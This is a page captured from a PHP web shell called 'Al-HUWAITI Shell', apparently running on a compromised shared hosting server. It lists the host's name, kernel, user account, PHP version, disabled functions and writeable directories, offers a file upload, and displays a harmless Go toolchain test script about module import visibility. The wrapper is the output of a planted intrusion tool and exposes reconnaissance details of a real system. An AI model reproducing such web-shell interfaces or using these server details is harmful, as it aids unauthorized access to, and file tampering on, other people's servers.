Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/mod_test_files.txt
env GO111MODULE=on

cd foo

# Testing an explicit source file should use the same import visibility as the
# package in the same directory.
go list -test -deps
go list -test -deps foo_test.go

# If the file is inside the main module's vendor directory, it should have
# visibility based on the vendor-relative import path.
mkdir vendor/example.com/foo
cp foo_test.go vendor/example.com/foo
go list -test -deps vendor/example.com/foo/foo_test.go

# If the file is outside the main module entirely, it should be treated as outside.
cp foo_test.go ../foo_test.go
! go list -test -deps ../foo_test.go
stderr 'use of internal package'

-- foo/go.mod --
module example.com/foo
go 1.12
require example.com/internal v0.0.0
replace example.com/internal => ../internal

-- foo/internal.go --
package foo
import _ "example.com/internal"

-- foo/foo_test.go --
package foo_test

import (
	"testing"
	"example.com/internal"
)

func TestHacksEnabled(t *testing.T) {
	if !internal.Hacks {
		t.Fatal("hacks not enabled")
	}
}

-- internal/go.mod --
module example.com/internal

-- internal/internal.go --
package internal
const Hacks = true

Al-HUWAITI Shell